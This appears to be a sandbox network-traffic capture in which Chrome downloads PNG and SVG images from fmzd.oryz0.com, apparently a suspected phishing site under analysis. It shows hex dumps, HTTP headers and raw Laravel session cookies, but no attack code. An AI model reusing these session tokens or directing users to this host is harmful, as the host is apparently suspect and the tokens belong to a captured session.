2024-05-23 08:31:37 UTC	715	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 27 53 ad d6 Data Ascii: $I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$'S
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 fe 45 7a e2 Data Ascii: D$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HMEz
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb c0 e0 4c 63 Data Ascii: w$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0Lc
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 c4 5f 7f ed Data Ascii: r>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y_
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 ad 94 c3 5b Data Ascii: j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&[
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 4f e0 96 e8 Data Ascii: _OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;O
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 3c 30 31 3a Data Ascii: R?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!<01:
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 0f 00 97 52 Data Ascii: &w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|R
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 5f d1 41 4a Data Ascii: %>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf_AJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49807	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1107	OUT	GET /efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:38 UTC	651	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GrBv0qdqev7M880DXNAe6FoOZbuWj9DLzLo%2BtezbYK6lKxB3vMHaOpVUgiMlKaDN4OyVEpJKBwzZnDTOWbvQriJ9aFHTmckBKaUSDAFf5ImP%2FKnC5s5NwU%2F%2BzqfynA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d398c7425f-EWR
2024-05-23 08:31:38 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-05-23 08:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49806	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1493	OUT	GET /qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vrvPcOMOkDjUYnw8RRbwYzx9udzMv2cwyeiiUFw3oyL%2FByaA7m9HKUVkgU6yY1gwhbzozMWQOvfZWrldAdLbF1aFgTwM29V87PYuuTxwS20t7sE5zncRsXuLmdhDDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d37eba1902-EWR
2024-05-23 08:31:37 UTC	695	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 Data Ascii: "))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7H
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a Data Ascii: g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSF
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 Data Ascii: }&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT
